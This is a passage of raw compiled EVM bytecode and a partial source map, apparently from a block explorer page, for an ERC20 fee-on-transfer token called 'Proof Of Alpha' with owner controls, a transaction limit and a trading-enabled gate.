7600080fd5b823561164981611483565b9150602083013561165981611483565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761047557610475611699565b634e487b7160e01b600052603260045260246000fd5b8082018082111561047557610475611699565b60008261170c57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561047557610475611699565b60006020828403121561173657600080fd5b8151610df981611483565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117915784516001600160a01b03168352938301939183019160010161176c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e77163100683b527ca568911cbb15a4db20474a4e6bc5d022caf6cb336fce7f064736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab5780638f9a55c01161006f5780638f9a55c01461037c57806395d89b4114610392578063a9059cbb146103be578063b70143c9146103de578063dd62ed3e146103fe578063f2fde38b1461044457600080fd5b806370a08231146102f3578063715018a6146103135780637d1db4a5146103285780638ad230131461033e5780638da5cb5b1461035e57600080fd5b80632fd689e3116100fd5780632fd689e31461023c578063313ce5671461025257806349bd5a5e1461026e57806356cd40e71461028e5780636d8aa8f8146102a55780636fc3eaec146102de57600080fd5b806306fdde0314610145578063095ea7b31461018e5780631694505e146101be57806318160ddd146101f657806323b872dd1461021c57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600e81526d50726f6f66204f6620416c70686160901b60208201525b6040516101859190611435565b60405180910390f35b34801561019a57600080fd5b506101ae6101a936600461149b565b610464565b6040519015158152602001610185565b3480156101ca57600080fd5b506015546101de906001600160a01b031681565b6040516001600160a01b039091168152602001610185565b34801561020257600080fd5b50683635c9adc5dea000005b604051908152602001610185565b34801561022857600080fd5b506101ae6102373660046114c7565b61047b565b34801561024857600080fd5b5061020e60235481565b34801561025e57600080fd5b5060405160098152602001610185565b34801561027a57600080fd5b506016546101de906001600160a01b031681565b34801561029a57600080fd5b506102a36104e4565b005b3480156102b157600080fd5b506102a36102c0366004611508565b60168054911515600160b01b0260ff60b01b19909216919091179055565b3480156102ea57600080fd5b506102a3610526565b3480156102ff57600080fd5b5061020e61030e36600461152a565b610531565b34801561031f57600080fd5b506102a3610553565b34801561033457600080fd5b5061020e60215481565b34801561034a57600080fd5b506102a361035936600461155d565b6105c7565b34801561036a57600080fd5b506000546001600160a01b03166101de565b34801561038857600080fd5b5061020e60225481565b34801561039e57600080fd5b50604080518082019091526003815262504f4160e81b6020820152610178565b3480156103ca57600080fd5b506101ae6103d936600461149b565b61061c565b3480156103ea57600080fd5b506102a36103f9366004611612565b610629565b34801561040a57600080fd5b5061020e61041936600461162b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561045057600080fd5b506102a361045f36600461152a565b61065e565b6000610471338484610748565b5060015b92915050565b600061048884848461086c565b6104da84336104d5856040518060600160405280602881526020016117b3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d04565b610748565b5060019392505050565b6000546001600160a01b031633146105175760405162461bcd60e51b815260040161050e90611664565b60405180910390fd5b683635c9adc5dea00000602155565b61052f47610d3e565b565b6001600160a01b03811660009081526002602052604081205461047590610d7c565b6000546001600160a01b0316331461057d5760405162461bcd60e51b815260040161050e90611664565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b505060408051808201909152600581526477616c6c6560d81b6020820152600d546009906105f69060036116af565b601f5460195461060691906116af565b61061091906116dc565b600c8190556007555050565b600061047133848461086c565b600061063430610531565b90506000606461064484846116af565b61064e91906116ef565b905061065981610e00565b505050565b6000546001600160a01b031633146106885760405162461bcd60e51b815260040161050e90611664565b6001600160a01b0381166106ed5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161050e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107aa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050e565b6001600160a01b03821661080b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108d05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050e565b6001600160a01b0382166109325760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050e565b600081116109945760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161050e565b6000546001600160a01b038481169116148015906109c057506000546001600160a01b03838116911614155b15610bf757601654600160a01b900460ff16610a59576000546001600160a01b03848116911614610a595760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161050e565b6016546001600160a01b03838116911614801590610a8557506014546001600160a01b03838116911614155b8015610a9f57506012546001600160a01b03838116911614155b8015610ab457506001600160a01b0382163014155b8015610acb57506001600160a01b03821661dead14155b15610b2257602154811115610b225760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161050e565b6000610b2d30610531565b6023549091508082101590610b439060026116af565b50808015610b5b5750601654600160a81b900460ff16155b8015610b7557506016546001600160a01b03868116911614155b8015610b8a5750601654600160b01b900460ff165b8015610baf57506001600160a01b03851660009081526005602052604090205460ff16155b8015610bd457506001600160a01b03841660009081526005602052604090205460ff16155b15610bf457610be282610e00565b478015610bf257610bf281610d3e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610c3957506001600160a01b03831660009081526005602052604090205460ff165b80610c6b57506016546001600160a01b03858116911614801590610c6b57506016546001600160a01b03848116911614155b15610c7857506000610cf2565b6016546001600160a01b038581169116148015610ca357506015546001600160a01b03848116911614155b15610cb557600954600e55600a54600f555b6016546001600160a01b038481169116148015610ce057506015546001600160a01b03858116911614155b15610cf257600b54600e55600754600f555b610cfe84848484610f7a565b50505050565b60008184841115610d285760405162461bcd60e51b815260040161050e9190611435565b506000610d358486611711565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610d78573d6000803e3d6000fd5b5050565b6000600654821115610de35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161050e565b6000610ded610fa8565b9050610df98382610fcb565b9392505050565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e4857610e486116c6565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ea1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec59190611724565b81600181518110610ed857610ed86116c6565b6001600160a01b039283166020918202929092010152601554610efe9130911684610748565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f37908590600090869030904290600401611741565b600060405180830381600087803b158015610f5157600080fd5b505af1158015610f65573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80610f8757610f8761100d565b610f9284848461103b565b80610cfe57610cfe601054600e55601154600f55565b6000806000610fb5611132565b9092509050610fc48282610fcb565b9250505090565b6000610df983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611174565b600e5415801561101d5750600f54155b1561102457565b600e8054601055600f805460115560009182905555565b60008060008060008061104d876111a2565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061107f90876111ff565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546110ae9086611241565b6001600160a01b0389166000908152600260205260409020556110d0816112a0565b6110da84836112ea565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161111f91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061114e8282610fcb565b82101561116b57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836111955760405162461bcd60e51b815260040161050e9190611435565b506000610d3584866116ef565b60008060008060008060008060006111bf8a600e54600f5461130e565b92509250925060006111cf610fa8565b905060008060006111e28e878787611363565b919e509c509a509598509396509194505050505091939550919395565b6000610df983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d04565b60008061124e83856116dc565b905083811015610df95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050e565b60006112aa610fa8565b905060006112b883836113b3565b306000908152600260205260409020549091506112d59082611241565b30600090815260026020526040902055505050565b6006546112f790836111ff565b6006556008546113079082611241565b6008555050565b6000808080611328606461132289896113b3565b90610fcb565b9050600061133b60646113228a896113b3565b905060006113538261134d8b866111ff565b906111ff565b9992985090965090945050505050565b600080808061137288866113b3565b9050600061138088876113b3565b9050600061138e88886113b3565b905060006113a08261134d86866111ff565b939b939a50919850919650505050505050565b6000826000036113c557506000610475565b60006113d183856116af565b9050826113de85836116ef565b14610df95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050e565b600060208083528351808285015260005b8181101561146257858101830151858201604001528201611446565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461149857600080fd5b50565b600080604083850312156114ae57600080fd5b82356114b981611483565b946020939093013593505050565b6000806000606084860312156114dc57600080fd5b83356114e781611483565b925060208401356114f781611483565b929592945050506040919091013590565b60006020828403121561151a57600080fd5b81358015158114610df957600080fd5b60006020828403121561153c57600080fd5b8135610df981611483565b634e487b7160e01b600052604160045260246000fd5b6000806040838503121561157057600080fd5b823567ffffffffffffffff8082111561158857600080fd5b818501915085601f83011261159c57600080fd5b8135818111156115ae576115ae611547565b604051601f8201601f19908116603f011681019083821181831017156115d6576115d6611547565b816040528281528860208487010111156115ef57600080fd5b826020860160208301376000602093820184015298969091013596505050505050565b60006020828403121561162457600080fd5b5035919050565b6000806040838503121561163e57600080fd5b823561164981611483565b9150602083013561165981611483565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761047557610475611699565b634e487b7160e01b600052603260045260246000fd5b8082018082111561047557610475611699565b60008261170c57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561047557610475611699565b60006020828403121561173657600080fd5b8151610df981611483565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117915784516001600160a01b03168352938301939183019160010161176c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e77163100683b527ca568911cbb15a4db20474a4e6bc5d022caf6cb336fce7f064736f6c63430008120033

Deployed Bytecode Sourcemap

4336:12228:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6974:83;;;;;;;;;;-1:-1:-1;7044:5:0;;;;;;;;;;;;-1:-1:-1;;;7044:5:0;;;;6974:83;;;;;;;:::i;:::-;;;;;;;;7899:193;;;;;;;;;;-1:-1:-1;7899:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7899:193:0;1023:187:1;5685:41:0;;;;;;;;;;-1:-1:-1;5685:41:0;;;;-1:-1:-1;;;;;5685:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5685:41:0;1215:229:1;7251:95:0;;;;;;;;;;-1:-1:-1;4892:21:0;7251:95;;;1595:25:1;;;1583:2;1568:18;7251:95:0;1449:177:1;8100:446:0;;;;;;;;;;-1:-1:-1;8100:446:0;;;;;:::i;:::-;;:::i;6068:51::-;;;;;;;;;;;;;;;;7160:83;;;;;;;;;;-1:-1:-1;7160:83:0;;4566:1;2234:36:1;;2222:2;2207:18;7160:83:0;2092:184:1;5733:28:0;;;;;;;;;;-1:-1:-1;5733:28:0;;;;-1:-1:-1;;;;;5733:28:0;;;16477:84;;;;;;;;;;;;;:::i;:::-;;12759:94;;;;;;;;;;-1:-1:-1;12759:94:0;;;;;:::i;:::-;12819:11;:26;;;;;-1:-1:-1;;;12819:26:0;-1:-1:-1;;;;12819:26:0;;;;;;;;;12759:94;12435:85;;;;;;;;;;;;;:::i;7354:138::-;;;;;;;;;;-1:-1:-1;7354:138:0;;;;;:::i;:::-;;:::i;1825:148::-;;;;;;;;;;;;;:::i;5962:45::-;;;;;;;;;;;;;;;;14143:205;;;;;;;;;;-1:-1:-1;14143:205:0;;;;;:::i;:::-;;:::i;1611:79::-;;;;;;;;;;-1:-1:-1;1649:7:0;1676:6;-1:-1:-1;;;;;1676:6:0;1611:79;;6014:47;;;;;;;;;;;;;;;;7065:87;;;;;;;;;;-1:-1:-1;7137:7:0;;;;;;;;;;;;-1:-1:-1;;;7137:7:0;;;;7065:87;;7500:199;;;;;;;;;;-1:-1:-1;7500:199:0;;;;;:::i;:::-;;:::i;12528:223::-;;;;;;;;;;-1:-1:-1;12528:223:0;;;;;:::i;:::-;;:::i;7707:184::-;;;;;;;;;;-1:-1:-1;7707:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7856:18:0;;;7824:7;7856:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7707:184;1981:244;;;;;;;;;;-1:-1:-1;1981:244:0;;;;;:::i;:::-;;:::i;7899:193::-;8001:4;8023:39;450:10;8046:7;8055:6;8023:8;:39::i;:::-;-1:-1:-1;8080:4:0;7899:193;;;;;:::o;8100:446::-;8232:4;8249:36;8259:6;8267:9;8278:6;8249:9;:36::i;:::-;8296:220;8319:6;450:10;8367:138;8423:6;8367:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8367:19:0;;;;;;:11;:19;;;;;;;;450:10;8367:33;;;;;;;;;;:37;:138::i;:::-;8296:8;:220::i;:::-;-1:-1:-1;8534:4:0;8100:446;;;;;:::o;16477:84::-;1738:6;;-1:-1:-1;;;;;1738:6:0;450:10;1738:22;1730:67;;;;-1:-1:-1;;;1730:67:0;;;;;;;:::i;:::-;;;;;;;;;4892:21:::1;16531:12;:22:::0;16477:84::o;12435:85::-;12477:35;12490:21;12477:12;:35::i;:::-;12435:85::o;7354:138::-;-1:-1:-1;;;;;7467:16:0;;7420:7;7467:16;;;:7;:16;;;;;;7447:37;;:19;:37::i;1825:148::-;1738:6;;-1:-1:-1;;;;;1738:6:0;450:10;1738:22;1730:67;;;;-1:-1:-1;;;1730:67:0;;;;;;;:::i;:::-;1932:1:::1;1916:6:::0;;1895:40:::1;::::0;-1:-1:-1;;;;;1916:6:0;;::::1;::::0;1895:40:::1;::::0;1932:1;;1895:40:::1;1963:1;1946:19:::0;;-1:-1:-1;;;;;;1946:19:0::1;::::0;;1825:148::o;14143:205::-;-1:-1:-1;;14214:15:0;;;;;;;;;;;;-1:-1:-1;;;14214:15:0;;;;14296:10;;14248:1;;14296:13;;14308:1;14296:13;:::i;:::-;14283:9;;14271;;:21;;14283:9;14271:21;:::i;:::-;:39;;;;:::i;:::-;14264:4;:46;;;14325:6;:13;-1:-1:-1;;14143:205:0:o;7500:199::-;7605:4;7627:42;450:10;7651:9;7662:6;7627:9;:42::i;12528:223::-;12585:28;12616:24;12634:4;12616:9;:24::i;:::-;12585:55;-1:-1:-1;12651:18:0;12701:3;12672:28;12693:7;12585:55;12672:28;:::i;:::-;:32;;;;:::i;:::-;12651:53;;12715:28;12732:10;12715:16;:28::i;:::-;12574:177;;12528:223;:::o;1981:244::-;1738:6;;-1:-1:-1;;;;;1738:6:0;450:10;1738:22;1730:67;;;;-1:-1:-1;;;1730:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2070:22:0;::::1;2062:73;;;::::0;-1:-1:-1;;;2062:73:0;;6086:2:1;2062:73:0::1;::::0;::::1;6068:21:1::0;6125:2;6105:18;;;6098:30;6164:34;6144:18;;;6137:62;-1:-1:-1;;;6215:18:1;;;6208:36;6261:19;;2062:73:0::1;5884:402:1::0;2062:73:0::1;2172:6;::::0;;2151:38:::1;::::0;-1:-1:-1;;;;;2151:38:0;;::::1;::::0;2172:6;::::1;::::0;2151:38:::1;::::0;::::1;2200:6;:17:::0;;-1:-1:-1;;;;;;2200:17:0::1;-1:-1:-1::0;;;;;2200:17:0;;;::::1;::::0;;;::::1;::::0;;1981:244::o;9257:369::-;-1:-1:-1;;;;;9384:19:0;;9376:68;;;;-1:-1:-1;;;9376:68:0;;6493:2:1;9376:68:0;;;6475:21:1;6532:2;6512:18;;;6505:30;6571:34;6551:18;;;6544:62;-1:-1:-1;;;6622:18:1;;;6615:34;6666:19;;9376:68:0;6291:400:1;9376:68:0;-1:-1:-1;;;;;9463:21:0;;9455:68;;;;-1:-1:-1;;;9455:68:0;;6898:2:1;9455:68:0;;;6880:21:1;6937:2;6917:18;;;6910:30;6976:34;6956:18;;;6949:62;-1:-1:-1;;;7027:18:1;;;7020:32;7069:19;;9455:68:0;6696:398:1;9455:68:0;-1:-1:-1;;;;;9534:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9586:32;;1595:25:1;;;9586:32:0;;1568:18:1;9586:32:0;;;;;;;9257:369;;;:::o;9634:2195::-;-1:-1:-1;;;;;9756:18:0;;9748:68;;;;-1:-1:-1;;;9748:68:0;;7301:2:1;9748:68:0;;;7283:21:1;7340:2;7320:18;;;7313:30;7379:34;7359:18;;;7352:62;-1:-1:-1;;;7430:18:1;;;7423:35;7475:19;;9748:68:0;7099:401:1;9748:68:0;-1:-1:-1;;;;;9835:16:0;;9827:64;;;;-1:-1:-1;;;9827:64:0;;7707:2:1;9827:64:0;;;7689:21:1;7746:2;7726:18;;;7719:30;7785:34;7765:18;;;7758:62;-1:-1:-1;;;7836:18:1;;;7829:33;7879:19;;9827:64:0;7505:399:1;9827:64:0;9919:1;9910:6;:10;9902:64;;;;-1:-1:-1;;;9902:64:0;;8111:2:1;9902:64:0;;;8093:21:1;8150:2;8130:18;;;8123:30;8189:34;8169:18;;;8162:62;-1:-1:-1;;;8240:18:1;;;8233:39;8289:19;;9902:64:0;7909:405:1;9902:64:0;1649:7;1676:6;-1:-1:-1;;;;;9983:15:0;;;1676:6;;9983:15;;;;:32;;-1:-1:-1;1649:7:0;1676:6;-1:-1:-1;;;;;10002:13:0;;;1676:6;;10002:13;;9983:32;9979:1183;;;10072:11;;-1:-1:-1;;;10072:11:0;;;;10067:144;;1649:7;1676:6;-1:-1:-1;;;;;10112:15:0;;;1676:6;;10112:15;10104:91;;;;-1:-1:-1;;;10104:91:0;;8521:2:1;10104:91:0;;;8503:21:1;8560:2;8540:18;;;8533:30;8599:34;8579:18;;;8572:62;8670:33;8650:18;;;8643:61;8721:19;;10104:91:0;8319:427:1;10104:91:0;10236:13;;-1:-1:-1;;;;;10230:19:0;;;10236:13;;10230:19;;;;:42;;-1:-1:-1;10259:13:0;;-1:-1:-1;;;;;10253:19:0;;;10259:13;;10253:19;;10230:42;:71;;;;-1:-1:-1;10282:19:0;;-1:-1:-1;;;;;10276:25:0;;;10282:19;;10276:25;;10230:71;:94;;;;-1:-1:-1;;;;;;10305:19:0;;10319:4;10305:19;;10230:94;:118;;;;-1:-1:-1;;;;;;10328:20:0;;10341:6;10328:20;;10230:118;10227:223;;;10387:12;;10377:6;:22;;10369:63;;;;-1:-1:-1;;;10369:63:0;;8953:2:1;10369:63:0;;;8935:21:1;8992:2;8972:18;;;8965:30;9031;9011:18;;;9004:58;9079:18;;10369:63:0;8751:352:1;10369:63:0;10466:28;10497:24;10515:4;10497:9;:24::i;:::-;10575:19;;10466:55;;-1:-1:-1;10551:43:0;;;;;10638:21;;10658:1;10638:21;:::i;:::-;10614:45;10772:7;:18;;;;-1:-1:-1;10784:6:0;;-1:-1:-1;;;10784:6:0;;;;10783:7;10772:18;:43;;;;-1:-1:-1;10802:13:0;;-1:-1:-1;;;;;10794:21:0;;;10802:13;;10794:21;;10772:43;:58;;;;-1:-1:-1;10819:11:0;;-1:-1:-1;;;10819:11:0;;;;10772:58;:87;;;;-1:-1:-1;;;;;;10835:24:0;;;;;;:18;:24;;;;;;;;10834:25;10772:87;:114;;;;-1:-1:-1;;;;;;10864:22:0;;;;;;:18;:22;;;;;;;;10863:23;10772:114;10768:383;;;10907:38;10924:20;10907:16;:38::i;:::-;10993:21;11037:22;;11033:103;;11084:32;11097:18;11084:12;:32::i;:::-;10888:263;10768:383;10017:1145;;9979:1183;-1:-1:-1;;;;;11238:24:0;;11174:12;11238:24;;;:18;:24;;;;;;11189:4;;11238:24;;;:50;;-1:-1:-1;;;;;;11266:22:0;;;;;;:18;:22;;;;;;;;11238:50;11237:102;;;-1:-1:-1;11302:13:0;;-1:-1:-1;;;;;11294:21:0;;;11302:13;;11294:21;;;;:44;;-1:-1:-1;11325:13:0;;-1:-1:-1;;;;;11319:19:0;;;11325:13;;11319:19;;11294:44;11233:535;;;-1:-1:-1;11366:5:0;11233:535;;;11417:13;;-1:-1:-1;;;;;11409:21:0;;;11417:13;;11409:21;:55;;;;-1:-1:-1;11448:15:0;;-1:-1:-1;;;;;11434:30:0;;;11448:15;;11434:30;;11409:55;11406:172;;;11497:14;;11485:9;:26;11545:17;;11530:12;:32;11406:172;11604:13;;-1:-1:-1;;;;;11598:19:0;;;11604:13;;11598:19;:55;;;;-1:-1:-1;11637:15:0;;-1:-1:-1;;;;;11621:32:0;;;11637:15;;11621:32;;11598:55;11594:163;;;11686:15;;11674:9;:27;11735:6;;11720:12;:21;11594:163;11780:41;11795:4;11801:2;11805:6;11813:7;11780:14;:41::i;:::-;9737:2092;9634:2195;;;:::o;2587:224::-;2707:7;2743:12;2735:6;;;;2727:29;;;;-1:-1:-1;;;2727:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2767:9:0;2779:5;2783:1;2779;:5;:::i;:::-;2767:17;2587:224;-1:-1:-1;;;;;2587:224:0:o;12328:99::-;12385:17;;:34;;-1:-1:-1;;;;;12385:17:0;;;;:34;;;;;12412:6;;12385:17;:34;:17;:34;12412:6;12385:17;:34;;;;;;;;;;;;;;;;;;;;;12328:99;:::o;8554:323::-;8649:7;8707;;8696;:18;;8674:110;;;;-1:-1:-1;;;8674:110:0;;9443:2:1;8674:110:0;;;9425:21:1;9482:2;9462:18;;;9455:30;9521:34;9501:18;;;9494:62;-1:-1:-1;;;9572:18:1;;;9565:40;9622:19;;8674:110:0;9241:406:1;8674:110:0;8795:19;8817:10;:8;:10::i;:::-;8795:32;-1:-1:-1;8845:24:0;:7;8795:32;8845:11;:24::i;:::-;8838:31;8554:323;-1:-1:-1;;;8554:323:0:o;11837:483::-;6213:6;:13;;-1:-1:-1;;;;6213:13:0;-1:-1:-1;;;6213:13:0;;;11939:16:::1;::::0;;11953:1:::1;11939:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11939:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11939:16:0::1;11915:40;;11984:4;11966;11971:1;11966:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11966:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12010:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12010:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11966:7;;12010:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12000:4;12005:1;12000:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12000:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12075:15:::1;::::0;12043:62:::1;::::0;12060:4:::1;::::0;12075:15:::1;12093:11:::0;12043:8:::1;:62::i;:::-;12116:15;::::0;:196:::1;::::0;-1:-1:-1;;;12116:196:0;;-1:-1:-1;;;;;12116:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12197:11;;12116:15:::1;::::0;12239:4;;12266::::1;::::0;12286:15:::1;::::0;12116:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6249:6:0;:14;;-1:-1:-1;;;;6249:14:0;;;-1:-1:-1;;;;11837:483:0:o;12861:282::-;13017:7;13012:28;;13026:14;:12;:14::i;:::-;13051:44;13069:6;13077:9;13088:6;13051:17;:44::i;:::-;13111:7;13106:29;;13120:15;9183:17;;9171:9;:29;9226:15;;9211:12;:30;9127:122;16040:164;16082:7;16103:15;16120;16139:19;:17;:19::i;:::-;16102:56;;-1:-1:-1;16102:56:0;-1:-1:-1;16176:20:0;16102:56;;16176:11;:20::i;:::-;16169:27;;;;16040:164;:::o;3073:132::-;3131:7;3158:39;3162:1;3165;3158:39;;;;;;;;;;;;;;;;;:3;:39::i;8885:234::-;8932:9;;:14;:35;;;;-1:-1:-1;8950:12:0;;:17;8932:35;8928:48;;;8885:234::o;8928:48::-;9008:9;;;8988:17;:29;9046:12;;;9028:15;:30;-1:-1:-1;9071:13:0;;;;9095:16;8885:234::o;13151:610::-;13298:15;13328:23;13366:12;13393:23;13431:12;13458:13;13485:19;13496:7;13485:10;:19::i;:::-;-1:-1:-1;;;;;13533:15:0;;;;;;:7;:15;;;;;;13283:221;;-1:-1:-1;13283:221:0;;-1:-1:-1;13283:221:0;;-1:-1:-1;13283:221:0;-1:-1:-1;13283:221:0;-1:-1:-1;13283:221:0;-1:-1:-1;13533:28:0;;13283:221;13533:19;:28::i;:::-;-1:-1:-1;;;;;13515:15:0;;;;;;;:7;:15;;;;;;:46;;;;13593:18;;;;;;;:39;;13616:15;13593:22;:39::i;:::-;-1:-1:-1;;;;;13572:18:0;;;;;;:7;:18;;;;;:60;13643:16;13653:5;13643:9;:16::i;:::-;13670:23;13682:4;13688;13670:11;:23::i;:::-;13726:9;-1:-1:-1;;;;;13709:44:0;13718:6;-1:-1:-1;;;;;13709:44:0;;13737:15;13709:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;13709:44:0;;;;;;;;13272:489;;;;;;13151:610;;;:::o;16212:257::-;16310:7;;16263;;;;4892:21;16378:20;16310:7;4892:21;16378:11;:20::i;:::-;16368:7;:30;16364:61;;;-1:-1:-1;;16408:7:0;;;4892:21;;-1:-1:-1;16212:257:0;-1:-1:-1;16212:257:0:o;16364:61::-;16444:7;;16453;;-1:-1:-1;16212:257:0;-1:-1:-1;16212:257:0:o;3213:223::-;3333:7;3368:12;3361:5;3353:28;;;;-1:-1:-1;;;3353:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3392:9:0;3404:5;3408:1;3404;:5;:::i;14393:620::-;14493:7;14515;14537;14559;14581;14603;14639:23;14664:12;14678:13;14708:45;14720:7;14729:9;;14740:12;;14708:11;:45::i;:::-;14638:115;;;;;;14764:19;14786:10;:8;:10::i;:::-;14764:32;;14808:15;14825:23;14850:12;14879:46;14891:7;14900:4;14906:5;14913:11;14879;:46::i;:::-;14807:118;;-1:-1:-1;14807:118:0;-1:-1:-1;14807:118:0;-1:-1:-1;14976:15:0;;-1:-1:-1;14993:4:0;;-1:-1:-1;14999:5:0;;-1:-1:-1;;;;;14393:620:0;;;;;;;:::o;2443:136::-;2501:7;2528:43;2532:1;2535;2528:43;;;;;;;;;;;;;;;;;:3;:43::i;2256:179::-;2314:7;;2346:5;2350:1;2346;:5;:::i;:::-;2334:17;;2375:1;2370;:6;;2362:46;;;;-1:-1:-1;;;2362:46:0;;11095:2:1;2362:46:0;;;11077:21:1;11134:2;11114:18;;;11107:30;11173:29;11153:18;;;11146:57;11220:18;;2362:46:0;10893:351:1;13769:211:0;13822:19;13844:10;:8;:10::i;:::-;13822:32;-1:-1:-1;13865:13:0;13881:22;:5;13822:32;13881:9;:22::i;:::-;13955:4;13939:22;;;;:7;:22;;;;;;13865:38;;-1:-1:-1;13939:33:0;;13865:38;13939:26;:33::i;:::-;13930:4;13914:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;13769:211:0:o;13988:147::-;14066:7;;:17;;14078:4;14066:11;:17::i;:::-;14056:7;:27;14107:10;;:20;;14122:4;14107:14;:20::i;:::-;14094:10;:33;-1:-1:-1;;13988:147:0:o;15021:469::-;15190:7;;;;15284:30;15310:3;15284:21;:7;15296:8;15284:11;:21::i;:::-;:25;;:30::i;:::-;15269:45;-1:-1:-1;15325:13:0;15341:28;15365:3;15341:19;:7;15353:6;15341:11;:19::i;:28::-;15325:44;-1:-1:-1;15380:23:0;15406:28;15325:44;15406:17;:7;15418:4;15406:11;:17::i;:::-;:21;;:28::i;:::-;15380:54;15470:4;;-1:-1:-1;15476:5:0;;-1:-1:-1;15021:469: